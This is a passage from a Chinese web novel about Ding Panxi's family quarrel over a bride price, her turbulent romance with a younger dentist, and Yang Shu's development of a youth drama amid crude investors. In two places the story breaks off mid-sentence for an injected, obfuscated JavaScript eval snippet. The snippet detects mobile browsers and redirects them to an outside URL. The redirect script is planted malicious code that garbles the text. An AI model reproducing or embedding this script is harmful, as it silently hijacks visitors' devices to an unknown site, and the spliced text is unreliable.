“为她伤心才正常。”杨树在秦家看相册,幼年的秦朗小小乖乖,看得她心头软,翻拍了很多张。 回京前一日,秦朗才告诉父母,他去年三月就从前公司辞职,在新公司当了经理,薪水福利都优胜于前。有杨树在场调剂,秦朗和他爸多年父子成兄弟,小的拍着老的肩膀:“那个索某人从总工退下来了,你儿子还不到30岁,谁怕谁?” 秦家父母其实仍认为前公司是央企,饭碗稳定,但儿子带女朋友回家过年,还拿上了年薪,他们都不多说了,掏出红包,杨树初次登门,这是礼节。 红包是用写春联的红纸自制的,很厚,杨树猜测不下两万,连忙推却,但秦朗让她拿着,他说不能让杨父觉得自家父母不懂事。两人早就约好明年过年去内蒙,杨树想着爸爸也会表示,收了红包。 返京次日,丁盼兮也回了。她和牙医相识时间还短,没想着带他回家,牙医带他妈去三亚过年。 回到山东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081890|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一天,丁盼兮又被全家批斗。去年过年回去,父母嫌她单身,等她跟牙医谈了恋爱,在朋友圈发合照,父母说她疯了,找个小6岁的,一看就不是奔着结婚去的。弟弟和牙医是同龄人,弟弟说从男人心理出发,谈恋爱归谈恋爱,牙医不会娶她。 爸爸说女儿30岁还不懂事,小男人图个新鲜,玩弄玩弄她的感情,拍拍屁股走人,她却被拖到30开外,有得哭的。丁盼兮听了烦,谁玩谁不一定,牙医还不到24岁,她享用了他的好年龄。 她妈力劝丁盼兮分手,她找个小一两岁的正常,小那么多没前途,分手得尽快,适龄好男人抢手,未婚的已不多。 弟弟说大城市的女人不好找对象,因为高不成低不就。他看到网上很多例子,男人没钱没地位,仅仅因为是个男人,就能找到漂亮女人,漂亮女人还对他死心塌地,自家姐姐再漂亮,年纪一大,就失去优势。 全家人左一句年纪大,右一句被玩弄,丁盼兮火大。关心是关心,但打压也是真打压,她是回家过年的,不是回家受气的,但她妈今年见老了,白头发很多,血压也高,她为她妈身体着想,忍了。 亲戚给弟弟介绍了在烟台市里做美甲的女孩,大年初三,女孩舅妈带着她登门相看。丁盼兮感觉弟弟没看上女孩,女孩和舅妈倒是很热情,但是张口开出26万彩礼。 父母没吱声,丁盼兮说家里掏不出这个钱,女孩的舅妈说:“你婶说你在北京大公司管人,工资很高,你不帮你弟弟?” 弟弟说:“我是我,我姐是我姐。” 女孩说:“你就这一个弟弟,你不帮他,谁帮他?” 丁盼兮说两人才第一次见面,多熟悉熟悉再议,女孩舅妈拉长了脸:“去年就有人给我家婷婷说亲,今年还有几家等着看。” 女孩对丁盼兮的兴趣大过她弟弟,问她公司做什么的,招什么样的人,工资多少,丁盼兮故意说:“我们是外企,上班都说英语。”女孩目光转向弟弟,弟弟说,“她公司要是好进,我还卖什么樱桃。” 女孩说:“兮姐,我打个杂也行,打杂总不需要说英语吧?YesorNo我还是听得懂的。” 爸妈对女孩和舅妈很客气,毕竟两个村隔得不远,不管成不成,不能让人落下话柄。女孩说想自学英语,丁盼兮让她加油,等女孩和舅妈一走,妈妈问:“怎么样?” 弟弟说女孩不好看,还矮,瞧着还厉害,他不喜欢性子太强的女人。丁盼兮说女人性子强是好事,不受欺负,但爸妈都对女孩也不满意,26万彩礼也偏高。 妈妈算了半天账,家里攒了12万块钱,找亲戚最多能借个几万,缺口还大,爸爸问丁盼兮有多少积蓄,他打正规借条。他知道丁盼兮在北京生活不容易,不多借,就借几万块,剩下的去贷款。 丁盼兮说弟弟结婚,她一定会帮,不是借,是给,但弟弟看不上这女孩,没必要再讨论。爸爸很不高兴,他都说了是借,他才54岁,身体也硬朗,等女孩进了门,在家边带孩子边做网店生意,他和儿子就能去市里打工,不出两三年就能把债都还上。 弟弟说那女孩不值26万,他不想为她背债,爸爸说女孩年轻,长得也结实,好生养。丁盼兮说不能为了结婚而结婚,没有感情基础,就搭伴生孩子过日子,早晚会出问题。弟弟附和,爸妈于是都急了,骂女儿把儿子带坏了,一个不结婚,两个还不结婚。 话赶话的吵起来,爸爸说丁盼兮就是想法太多,白被那些男人睡了,她要是嫁了个有钱的,老丈人开口说句话,这26万彩礼不是说掏就掏? 丁盼兮又怒又急,平时她爸对她说话难听,她都当成恨铁不成钢,不太往心里去。可一涉及弟弟的利益,她爸就现出原形了,女儿不能给家里做贡献,就成了“被男人白睡了”。 妈妈哄女儿,当爸爸的口不择言,但没坏心。丁盼兮出言尖刻:“想卖了女儿给儿子娶媳妇,没卖成就看我不顺眼。” 爸爸拍了桌子,他何尝不心疼女儿在大城市工作累,满以为能靠长相早早嫁了,少受点苦,结果一没嫁人,二没攒着钱。他都说了,是借,如果是女婿的钱,他才理直气壮白拿。 丁盼兮嘲笑他爸算盘打得太精,他做白日梦,想对女婿予取予求,女孩的爸没准也这么想。爸爸抓过酒杯砸来,妈妈尖叫着拿手打开,酒杯落地,摔得粉碎。 弟弟说打光棍就打光棍,摔门而去。丁盼兮收拾行李要走,扬言明年绝不回来自讨没趣,妈妈劝了这个劝那个,但父女俩互不搭理。 妈妈把女儿送到省道坐大巴,让她别太计较,跟钱有关的事哪有不伤脑筋的,她爸人穷志短,才说了重话,不是存心惹她不痛快。 丁盼兮冷着脸:“弟弟不喜欢那女孩,你别逼他,我建议再找找看。” 妈妈说小地方不比大城市,弟弟挑挑拣拣了几年,今年下半年就24岁了,拖不了两年就得结婚,她趁着还没那么老,能多帮着带几年孩子。 丁盼兮烦透了,如果早几年就考CPA,跳去外企做财务,说不定攒上钱付首付了。她若有房子,说什么都把妈接走,不让她再照顾老的小的,累死累活。 43. 第 43 章 每年过年回家,都一肚子不开心,丁盼兮发誓明年再不回去,杨树让她歇着,跟秦朗张罗饭菜。秦朗在家练过几次手,面团揉得好,但碱放多了,馒头弄得黄乎乎,杨树喊来丁盼兮,一齐嘲笑他。 在家过年的时候,丁盼兮每天都和牙医谈天,牙医说好去高铁站接她,但有个小病人淘气,摔断了门牙,他失了约。丁盼兮吃饱喝足去牙科诊所看他,见面拥吻,牙医躲开了,小声说:“同事都在呢。” 牙科诊所让丁盼兮有心理阴影,她只来过两次,这是第三次。牙医不想对同事公开两人的恋爱关系,丁盼兮很不快,但很快被牙医哄好了。牙医脸皮薄,爱脸红,她不跟他计较。 弟弟死活不同意跟美甲店的女孩结婚,爸妈没办法,让人重新物色相亲对象去了,丁盼兮和她爸仍没和好,把烦心事都抛在脑后,重新备战CPA,天大地大,赚钱最大。 丁盼兮每天复习专业书籍,起先没发现牙医有点躲着她,但喊了几次来家里吃饭,牙医都说忙,丁盼兮发火了,发出分手两个字。 牙医赶紧来了,但晚上睡觉时他关了手机。丁盼兮心知有异,有天牙医又说很忙,丁盼兮去牙科诊所对面的小店等他,事先没声张。 一辆百来万的车停在牙科诊所门口,丁盼兮见那车精致张扬,多看了几眼。牙医准时下班,车门打开,下来一个姑娘,牙医上了车。 姑娘年轻漂亮,丁盼兮连拍几张照片,回家快气疯了,她22岁或可跟姑娘一战,可她今年30岁了。 杨树放大细看照片,的确漂亮,的确年轻。但牙医和姑娘看起来很生疏,也没有亲昵举动,丁盼兮沉住气,等他给个说法。 夜里,牙医来找女朋友,一副没事人的样子。丁盼兮把手机拍在他面前,牙医不慌不忙,坦白说是相亲对象,过年他和他妈在三亚度假,认识了几个北京同乡,有个阿姨很热心,给他张罗对象,他却之不恭,见了几次面。 丁盼兮竖起眉毛:“那你对我恭吗,你知道你有女朋友吗?” “知道。”牙医乖乖认错,春节时丁盼兮诉苦,他知道她想结婚,可他大学毕业还不到一年,没想过这么早就结婚,有点退却,躲了她几天,可是情之所至,他仍是喜欢她。 丁盼兮澄清诉苦是纯诉苦,没有催婚的意思,牙医搂着她说了对不起。丁盼兮食髓知味,原谅他了。她对牙医喜欢归喜欢,其实没有很强烈的结婚意愿,30岁结婚和31岁结婚没区别,她今年的目标是通过CPA考试。 情侣之间闹点别扭是常有的事,但杨树和秦朗相处舒适,只为杨树经手的项目争执,你一句我一句谈论对角色的看法。秦朗笑说自己像阿拉伯国王,诱人的女郎每天夜来,讲述各式各样的新奇故事,小时候读《一千零一夜》,他就心生向往,杨树帮他实现了。 《战朝阳》推进比《玫瑰掌门》快,编剧给出了前5集剧本。杨树提了一些小意见,编剧都做出修改。制片人姚澈对剧本赞赏有加,它写出了青春励志剧的欢喜笑闹,也有哀愁和泪水,但詹忆认为,从男性角色设置来看,说教感浓了点。 姚澈觉得教化是善举,说明主创人员心未死,血未冷,还想为这世界做点什么,改变点什么,而且编剧在写法上照顾了观众的接受度,写得并不生硬,她很欣赏这种艺术追求和创作心态。 《战朝阳》只做24集剧本,而且年轻化,姚澈的重点目标是视频网站,其次才是卫视的青春剧场,发行方面,张瑞江得挑大梁。 张瑞江夸了剧本两句,指出职场新人类的奋斗篇幅太多,爱情戏太少。杨树说《战朝阳》从片名和类型来看,不是言情剧,爱情戏不是重点,并且这部戏有反霸道总裁的意味,不适合弄得太言情。 张瑞江抨击这是主创人员的一厢情愿,因为平台和大众的兴趣点始终在爱情上,不论仙侠、现代还是职场,爱情线才能激发话题,带来热度。他拿太太就职的QE网站热播的家庭伦理剧举例,女主角和原生家庭的纠葛是主线,但是每当她和男主角有点暧昧片段,话题和热度就起来了。 编剧团队侧目,张瑞江甩出相关数据和资料,该剧男女主角感情戏的热度确实远远高于其他情节。很多人都说不看谈恋爱,但播到这些部分,都高呼真香,意即出乎意料美味。 杨树疑心这是个例,但张瑞江连着调出几部剧的数据,都证明爱情线是主流观众的需求,那些骂任何题材都被编剧写成披衣谈恋爱的人,一部分人顺从内心感受看爱情线去了,另一部分看都不看,张瑞江认为他们的声音根本就无关紧要。 青春励志剧,把重心放在职场和生活上还不对了?编剧们挺沮丧。姚澈叹息,她做过调查,市场的确如此。整个社会拥有女性意识并身体力行的人可能不到1%,只不过这批人会在社交网络上发声,营造出有点阵仗的氛围,但生活中绝大多数人只想看点下饭剧,拍点“人间真实”他们会嫌丧嫌压抑。 张瑞江建议少拍《战朝阳》这类吃力不讨好的东西,市场真的太小了,涂芊也提议再改改,各大卫视的青春剧场都被主打爱情的剧种占据,大多观众看剧就想图一乐呵,你稍微写深一点,他们可能就弃剧。 杨树暗暗历数去年到今年热播的女性向剧集,无一不对男女主角猛炒CP,把他们冠以某某夫妇之名,针对观众口味顺势而为。她想以后得多为那些非言情剧发声和支持了,你肯为言情和CP贡献热度,资本才会听到你,因此顺从你,投放更多剧集讨好你,赚你的钱,而小众和冷门,你默默观看,不为它做推介,不广而发声,它将永远小众和冷门,直至消失。 张瑞江把《战朝阳》剧本发给太太,过了几天,太太回复了长达两页纸的评估意见,杨树扒拉出几句有效信息:不是IP改编,缺乏数据参考;人设不鲜明;恋爱戏份太少;男性角色不苏反渣;网感不足,综上所述,不建议采购。 杨树对着两张纸冷笑,这种意见,十成出自刚毕业的小孩。但现在平台是所有人的甲方,别说《战朝阳》了,写了几十年剧本,能载入华语电视史的大编剧作品,同样会收到这种评价,荒谬得让人哑口无言。 姚澈问:“不苏是什么意思?” 杨树说:“如果把他们写成悬浮剧里的男主角,英俊有为,富可敌国,对女人一往情深,矢志不渝,可能就苏了。” 刘云彤吐槽张瑞江和太太的关系肯定很差,否则不至于派出几个小孩就把项目否掉,杨树想到张瑞江和女人们的苟且,这完全是意料之中。但姚澈同时把剧本发给另外几个网站看过,也收到相似意见,尽管谁都无法给予“网感”一个清晰的定义。 姚澈很感慨,以前搞发行,直接递剧本,平台的领导认可就行;近几年互联网资本入局,平台多了,经常得先过平台的小孩那一关,符合他们的口味,PPT和评估报告才能层层级级递上去,博个让平台的领导看剧本的机会。 梁卓说:“吃亏就吃亏在不是IP,更不是大IP,不然数据亮出来,他们就没这么多屁话了。” 姚澈摇头,就算是大IP,拿以前的数据来衡量未来才播出的项目,等同于刻舟求剑。但现实无情,叙事艺术已不被广泛尊重,互联网惟数据论的思维占了上风,别看谁都在嚷嚷寻求好内容,但喊得凶的人往往更迷信数据,迷信名气。 如果《战朝阳》是公司年度最重点的项目,是大剧,姚澈会把资源向它倾斜,拿着它去找各大平台的决策层,但好钢得用在刀刃上。平台每天都接到无数个项目,最硬的关系,要用在最优质的项目上,省着点用。 《战朝阳》不属于最优质的一档,姚澈和詹忆交流后决定,爱情线可以加少量,但放在女一号和男一号身上,男二号的伪霸总真渣男设定保持不变。大众是爱看俊男美女穿古遁今、上天入地谈恋爱,但屏幕上也得有些不一样的东西。 有限度的妥协,是姚澈做项目的原则,退让几步,才能走得更长远,维持公司持续发展的生态,张瑞江仍然强调发行困难,但她不再继续让步:“这是你和涂总的工作。” 张瑞江入职至今,只向太太就职的QE网站发行了一部剧,会后,刘云彤猜测姚澈对张瑞江很不满,杨树呵呵一笑,她巴不得混子早点现出原形。 一个青春励志剧,跟风做成恋爱剧,哪还有什么独特性?失去了独特性,观众在一筐一筐恋爱剧里,为什么要看你这部?这些道理显而易见,但跟有些人说不通,编剧们被迫加爱情戏去了。 杨树多少有些不甘心,把剧本资料打包发给夏停。《不惑之年》让夏停对明堂影业有歉意,她想促成《战朝阳》,但台里没松口,他们想跟视频网站抢夺年轻观众,青春剧场除了言情剧就是奇幻剧,《战朝阳》不是他们的目标。 夏停特地给杨树打来电话,每家平台都存在购片偏好,但最终还是内容和制作取胜,《战朝阳》剧本她很喜欢,将来提交样片,她会再努努力。 部门的人各有各的事情忙,杨树向人事打了申请报告,她部门的人手不够,请求扩编。几天后,老同事姜妤成了新同事。 《战朝阳》新版前5集剧本出炉,按各路意见加重了感情线。杨树有点遗憾,青春励志剧的情感写得太重,对气质是有损失的,但客观来说,编剧甘棠能写好《天作之合》,写感情本来就是她的强项,《战朝阳》的情侣互动写得细腻入微,很是动人。 负责发行的涂芊盼望这版能讨到平台的巧,杨树只求能讨到观众的巧,别被人骂什么类型的剧都在谈恋爱。 一部戏做下来,有时两三年才有机会跟观众见面,之前全是漫长而琐碎的工作,姚澈说就算每年制作两部戏,她职业生涯参与的项目也有限,如果戏里没有她想坚持的东西,何必做它?杨树和姜妤对视,都点头称是。 《战朝阳》再次提交给张太太所在的QE视频网站,但他们热衷采购“头部”、“S级”版权,《战朝阳》非IP改编剧,只被评为B级。张瑞江又让编剧修改,姚澈拒绝了,她觉得观众看剧是随大流的,引导他们看剧,就像面对一座山,每个人都去挖一铲,山迟早会被夷平,天宽地阔,她不想一退再退。 另一家视频网站KR给新版《战朝阳》打了高分,姚澈跟他们接洽得很顺利。KR网站主管内容的副总裁是姚澈的校友,跟她有同门之谊,得知《战朝阳》是师妹做的,让手下给她发了剧本,她看后主动找姚澈,提出投资《战朝阳》,拿到独播权,但姚澈想多卖几个平台。 男女二号的故事虽然尖锐,但网剧审查暂时没有上星剧严厉,副总裁认为这组人物关系才是这部戏的亮点之一,它有真实感,符合全球兴起的女权风向,她代表网站参投《战朝阳》。 夏停那边对《战朝阳》重点跟踪,KR网站把《战朝阳》评为A级,姚澈因而又谈下TZ网站。 既然发行顺畅,卖价不俗,钱一诺提高了《战朝阳》在公司的等级,原计划投入2500万拍摄24集剧本,用全新人阵容,现在可以追加投资,找几个知名演员,吸引更多观众看到它。 平台确定了,导演和演员也能找起来了,杨树推荐了《天作之合》的潘导,但潘导今年一整年都得忙碌。 男一号大概率得选个二线以上的明星,而男二号是三十来岁的熟男人设,杨树没办法推荐祁宁,只能从他新接到的剧本里挑个反派男二号,建议他尽力拿到。 反派是真反派,架空王朝的废太子,尸山血海里翻滚出来的狠角色,心狠手辣,坏事做绝,祁宁有点犹豫。杨树打去电话,为他解读角色。 在《天作之合》时期,杨树就看出祁宁演动态戏感觉更好,废太子蛰伏于军营,打戏很多,能充分发挥他的优势,而且扮相多是军装铠甲,能提升男性魅力。最妙的是,这是个失败者,故事的最后,他纵马御街,功败垂成,死在禁宫前。 祁宁困惑:“失败是加分项?” 杨树笑,言情剧里,男性角色越惨越让观众怜爱。祁宁颀长瘦削,为人敏感,悟性也强,入行后,他遭受了很多类似凌汐那样的破事,很容易就能演出破碎感。 废太子高高在上,跌落如泥,平日里隐忍阴鸷,跟这世界互相伤害,但独处时,脆弱和伤痕一览无余,杨树说:“二少爷那个角色,是让你感受一下正剧怎么演,这个角色很带感,能圈粉,你要想办法拿下。” 越是英俊的男人,演坏人越让观众有感觉,因为强烈的反差正是戏剧化的展现方式之一。丁盼兮预计暴骄废太子能红,为人极残忍,但极深情地爱着女主角,受众不知多爱看。 秦朗说废太子恶贯满盈,丁盼兮说自己这种女观众不在乎,牙医问:“身边躺个杀人如麻的人,你不觉得很可怕吗?” 丁盼兮说:“可我分得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081891|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清现实和影视剧啊,现实我就找你这种乖的,看剧当然怎么带感怎么来。” 言犹在耳,有天丁盼兮去洗牙,牙医还得再接待几个病人,让她先回家,丁盼兮左右无事,仍去了牙科诊所对面的小店,喝杯咖啡看看剧。 牙医的相亲对象不请自来,丁盼兮猜测是牙医的推诿引起了那姑娘的怀疑,两人在诊室外拉扯,丁盼兮款款而来,挽上牙医的胳膊。 相亲对象怒问她是谁,牙医硬着头皮说是女朋友,相亲对象从上到下看丁盼兮,笑了笑:“你不是跟我说是你表姐吗?” 丁盼兮大怒,相亲对象施施然走了,牙医很生气,他没想到那姑娘睁眼说瞎话,他没说过什么表姐。丁盼兮提了分手,回家气得把床品扯下,扔去垃圾桶。 杨树和秦朗自然好一通安慰,但丁盼兮一想到自己比那姑娘大8岁,就一阵气闷,如果那姑娘不漂亮,她就不气了,偏偏是明晃晃的美人。杨树说:“30岁怎么了,如果你自己不歧视自己,别人说你30岁,你会往心里去吗?” 丁盼兮问:“那你碰到那种情况怎么办?” 杨树说不怎么办,有时候,女人会受到伤害,是被一些观念束缚了,比如结婚才完整,女人不能拜金,离过婚的女人不好嫁,30岁不婚是剩女,统统是屁话。在这些打压后面加上“又怎么了”四个字,矛盾顿消。 不结婚又怎么了,拜金又怎么了,离婚又怎么了。代入男人角度想想,这些话能有多大杀伤力。 丁盼兮说:“被人喊表姐,你回不回嘴?” 杨树说:“她是故意的,必须回嘴。你喊我表姐,我喊你大姨,奶奶也可以。” 丁盼兮承认被踩到痛处,因为她情不自禁跟那姑娘比较,还自觉被比下去了。但是既已分手,她收心温书,男人本来就没几个靠得住的,事业不能再歇菜。 丁盼兮和牙医互不搭理,三天后,丁盼兮炒菜时看到牙医蹲在楼下,她不确定是他,杨树让秦朗偷偷去看一眼。 秦朗奉命去侦察,拍回几张照片。丁盼兮看了笑称小景同学乖得像一只流浪狗。杨树听她语气充满怜爱,笑话她应该加个字,乖得像一只流浪狗狗。 牙医没上楼,发微信问:“你还好吗?”丁盼兮冷冷回道,“就那样。” 牙医不做声了,但也没走,专心致志低头玩手机游戏。杨树问怎么办,丁盼兮说牙医欠她一个合理解释,但忍不住探头多看两眼,牙医1米75,身高中等,但蹲着发呆,居然很幼小的模样,用言情小说的说法是小奶狗。 牙医待到深夜才离去,丁盼兮辗转反侧。第二天轮到杨树做饭,丁盼兮站在窗前张望很久,牙医没来,她忍到晚上十点多,散步去牙科诊所,横竖就两条街的距离。 牙科诊所早已关门,月光下,牙医独自躺在诊室窄窄的治疗床上,看上去很孤单。丁盼兮躲在暗处,发出微信:“在干嘛。” 牙医说:“想你。” “想要行动。”丁盼兮飞快地跑回家,刚补完妆,牙医敲门了,她打开门,他抱住了她。 丁盼兮的小奶狗认了错,他妈和所有熟人都怂恿他和那姑娘在一起,可他就是喜欢丁盼兮,没办法。丁盼兮不信,小奶狗说从小到大都喜欢姐姐型,上一任大他3岁多,那姑娘比他小,他没感觉。 丁盼兮抬抬下巴,审视地看他,牙医翻出看前任照片,丁盼兮见那女人是比他成熟,而且顶多中人之姿,她心理平衡了。牙医生生怕她还不信,急得眼睛发红,泪光闪动,丁盼兮又心软了。 两人和好后,有天牙医开玩笑还喊了一声表姐,丁盼兮应了,杨树很吃惊,丁盼兮说表姐表姐,表面是姐,背地撒野。但从她开始买年轻化的服饰来看,她还是介意了。 杨树看不惯丁盼兮扮嫩,她的长相气质都是走美艳大女人路线,丁盼兮说女人的眼光和男人不一样。杨树让秦朗参详参详,秦朗说他不喜欢对别人评头论足,很那啥,杨树逼他表态,他就让丁盼兮按她感到自在的路子来,但悄悄跟杨树说他不看好这一对。 杨树对丁盼兮和牙医的感情捏把汗,两个人想长久走下去,光靠荷尔蒙吸引可能不够。然而,丁盼兮和牙医似乎都有着失而复得之感,比以前更黏腻,直到有个周末,两人泡吧,玩到半夜回来。 凌晨两点多,杨树被客厅动静声吵醒,走到卧室门前一听,那两人在吵架,隐有哭泣声。 杨树没出去,回到床上继续睡,过了一个多小时,两人才消停。第二天,秦朗说他也听见了,杨树做完午饭,丁盼兮和牙医还没起床,下午丁盼兮出来吃东西,牙医还在睡。 头天晚上,牙科诊所聚完餐,在酒吧玩真心话大冒险游戏,丁盼兮被问是否有过性幻想对象,她说出某明星的名字。牙医当即就黑了脸,到家越想越气,控诉丁盼兮心猿意马,丁盼兮澄清那是高中时迷恋的人,牙医不依不饶,两人互翻旧账,指点赌咒老死不相往来。 牙医默默收拾他放在这里的私人用品,眼泪长流。丁盼兮谈过长长短短的恋爱无数,但没见过哪个男人在她面前流过这么多眼泪,她一时觉得牙医无理取闹,一时觉得自己不是人。到最后,牙医拉开门要走,丁盼兮在气头上,觉得走了就别再复合,但是看到木地板上一滩泪水,她心软了。 牙医为她放弃了那么漂亮的姑娘,牙医比她小那么多,牙医蹲在地上收东西,哭得肩膀发抖,丁盼兮想到的全是这些。 泪眼相望,丁盼兮肝肠寸断,想自扇耳光,想哭着说媳妇我错了,我再也不出去偷明星了。终于,她拦腰抱住牙医,说了对不起。 杨树嘲笑丁盼兮色令智昏,丁盼兮认了。牙医心智不成熟,可是当他为远在天边的明星吃醋,丁盼兮骂他胡思乱想,同时体会到强烈的被爱感觉。他只有她。她感到很过瘾。 杨树明白这两人彼此吸引的原因了,丁盼兮一直在向世界索要一个不离开她的人,牙医的drama正中她心怀。果然,吵完这一架,两人感情更深,牙医主动买了戒指,跟丁盼兮正式定情,还带她参加同学聚会,完全向她敞开社交圈。 丁盼兮跟杨树说:“他朋友都说我看不出年龄,跟他很般配。” 杨树没说什么,人们不会说22岁的女孩看不出年龄,但牙医朋友的话未必不是出自真心,漂亮到丁盼兮的程度,年龄确实会被很多男人忽略。 44. 第 44 章 朱青的策划室有部亲子题材的剧进入前期筹备,杨树让姜妤担任责编。3月底,《战朝阳》又出了5集剧本,刘云彤和编剧磨合得很好,交出的剧本完成度很高,杨树分享给秦朗。 好的剧本大结构很戏剧化,但小细节都很生活化,既没有搞原生家庭奇葩长辈,也没让现任前任打作一团,情感回归本位,话题贴心入肺,杨树对这个项目越发看好。 《战朝阳》是女性主义的故事,姚澈想找个女导演执导,但女导演本来就少,有些人还跟舒纹一样,自动站去男权那边。姚澈谈了几个导演,最终找到老友单明玉帮忙。 单明玉正在上海拍戏,姚澈去片场跟她签合同那天,明堂影业来了几个投资人,他们从事各行各业,不定期到影视业分杯羹。 姚澈不在场,詹忆喊上策划人杨树和责编刘云彤。投资人主要有两人,年轻的是个公子哥儿,年长的做投资,两人只对选角有兴趣,都没看剧本,让杨树讲个大概。 詹忆聊起女一号和女二号目标人选,投资男率先否了其中一人,是他朋友的情人之一,不太受宠。女孩生得青春貌美,在明星里都算拔尖的,但投资男说她有色无香,没风情,简言之是不骚,女人不骚,等于羊肉不膻,吃起来不是那个味儿。 女一号的人设正是青春貌美的大学毕业生,但投资男是投资人之一,詹忆给予尊重,聊起另一个女孩。她父母经商,家世不俗,入行后演过两部小成本剧的女二号,很想演《战朝阳》女一号,还提出参投。 富家女跟女一号气质也搭,但公子哥儿很反对,两人睡过几次,他嫌富家女双眼呆滞,人很木,职场新人有点野劲儿才好。 投资男和公子哥儿惺惺相惜,一致认为富人家的女儿不性感,因为不懂向男人卖弄风情,没媚态就不勾人,不及捞女有劲,生之卑微,欲之放浪。 张瑞江觉得被投资男否掉的那个其实不错,她有种怯生生的感觉,让人有侵犯欲。公子哥儿兴致颇高,跟他交流心得,他睡过那姑娘,夸她床感很不错。 秦朗说过,对别人评头论足很那啥,那啥是哪啥,杨树懂了,但这些男人聊起这些落落大方。也许因为有权有势,不需要体面,身边围满了笑脸,从不乏争先恐后巴上去的男人女人。 詹忆的助手往会议室白板上贴明星照片,男人们纷纷说挑花眼,讨论得更欢畅。杨树坐立难安,她小时候看过一本书,男作家写道:一些冠冕堂皇的男子谈起女人时的面目不啻猪狗。其实,何止冠冕堂皇的男人,任何阶层的男人,都能肆无忌惮地欺辱女人。 少年时的夏天,站路边等红灯的时候,被乞丐摸屁股;成年后杂志社团建,领导点餐,女同事说鲍鱼有特价,男同事说你们女人不都自带吗?有几个女同事还跟着笑,甚至开几个更黄色的笑话助兴,杨树把她们视为叛徒。男人这些口头便宜,可从不敢对女上司和老板的太太说。 当红花旦的照片贴上白板,投资人的话语愈发放肆,杨树横眉怒目,绝不赔笑,把不满写在脸上,暗忖如果朱青在场,肯定会掀桌。她多想这样,但这帮人都是《战朝阳》的金主。 钱一诺把自己摆在服务的位置上,大多时候在烧茶,向投资人介绍茶叶分别来自何处,他看出杨树和刘云彤很不自在,让她俩撤了。 一出门,杨树拉上刘云彤去买果汁,透透气。十几岁的时候看古装剧,美人被赤条条裹进丝绸抬进寝宫,杨树就有不适感,成年后才明白,性经常是权力者点的餐。但权力者真实地坐在面前,荤素不忌,高谈阔论,她很反胃。 刚才在里面,投资男和公子哥儿谈论睡过的同一个女人,还互相引荐新品,刘云彤严重不解:“公共的,他们不觉得很那个吗?” 梁卓笑言男女观念有别,对那些男人而言,只是把她们当成马桶撒泡尿,想用的时候用一下,他们对马桶的选择面太大了,不像女人容易有精神洁癖。 杨树看他一眼,她知道那几个投资人正是这样想的。梁卓却以为她嫌他说得太粗俗,讨好地举起手:“算我错,是部分女的。部分女的找男人是把男人供起来,男的可没人这么想。” 杨树见过长夜影视公司的高管搞家宴,让新签的新人在席上吹拉弹唱,其实就是向众人炫耀:“哥们新得一蜜,与各兄弟共享。” 自古权贵和阔佬就有分享美妾的嗜好,今时又怎会例外,并且分享也有利可图。新人成了红人,有生意往来的熟人认为她名气大,想睡,权贵和阔佬就让她去一趟,原始本钱永远是有效的。 之前是玩物,让权贵和阔佬高兴,给点小资源;后来是性..伴和门客,能帮权贵和阔佬做点事,给的资源就多起来。刘云彤很为那些男女难受,但他们当中有的是配合者,毕竟背后是巨大的名和利。 杨树转述《天作之合》导演的理论,演员是工种,创作者用他们讲故事、表达观点和对世界的看法,投资人用他们赚钱,仅此而已。心甘情愿做交易的不光是女人,男人也一样。姜妤叹息,她前公司的小艺人不知多花心浪荡,女伴无数,但经纪人一声令下,他就得去向大佬献媚,婉转承欢。 大佬大多是男的,大多只为尝个鲜,常常会用些残忍手段助兴,小艺人再疼再屈辱也得忍,那是他自己选的路。 投资人来公司是闲谈为主,并没定下演员人选,他们的想法是参考,听听罢了,除非他们指定。但指定的话,投资份额就有得掰扯了。 公司找演员仍以片酬和档期为主,4月中旬,《战朝阳》的男女二号定下来了。男二号是导演单明玉长期合作的演员,他觉得角色很有挑战性。女二号用的是姚澈看好的新人,她在去年播出的小成本电影里演女配角,有一双流光溢彩的眼睛。 杨树见着单明玉,她比姚澈年长几岁,短发干练型,姚澈揽着她的肩,跟杨树介绍:“我从业以来最好的伙伴。” 单明玉伸手,跟杨树一握,看起来英姿勃发,精气神十足:“杨老师,幸会。” 《战朝阳》是女性向故事,姚澈先定女性角色,但目标范围内的适龄演员几乎都在接拍言情剧。好容易和一个演技派小花旦达成意向,但她不算红,两家视频网站都不认可,青春励志剧不是热门题材,本身就有点吃亏,若不用有号召力的明星,更没人看,他们建议找个比较红的男一号,女性题材想吸引女性观众,男一号至关重要。 姚澈把剧本发出去,很多演员的经纪人一问不是IP,就都没兴趣了。IP剧都演不过来,原创项目是次选,何况集数短,题材又不热门,多半只能网播。 网剧目前还在摸索阶段,哪怕剧本质量比上星剧好,题材也广泛些,但制作不如上星剧精良,演员明星更想演上星剧。上星剧审查严格,在卫视定档过程也复杂,但能提升国民度,更方便拿到主流圈子的资源。 以前,姚澈谈演员很迅速,但IP的冲击力太大,演员明星团队更想接IP改编剧。公司另一个制片人给姚澈推荐了一个二线明星,从形象来看,很适合演男一号,导演好好指导,演技也跟得上。 姚澈和助理去见二线的经纪人,对方抓住《战朝阳》是网剧猛作文章,提出的条条框框特别多,姚澈询问二线本人的要求,他在横店拍戏,说全权听经纪人的。 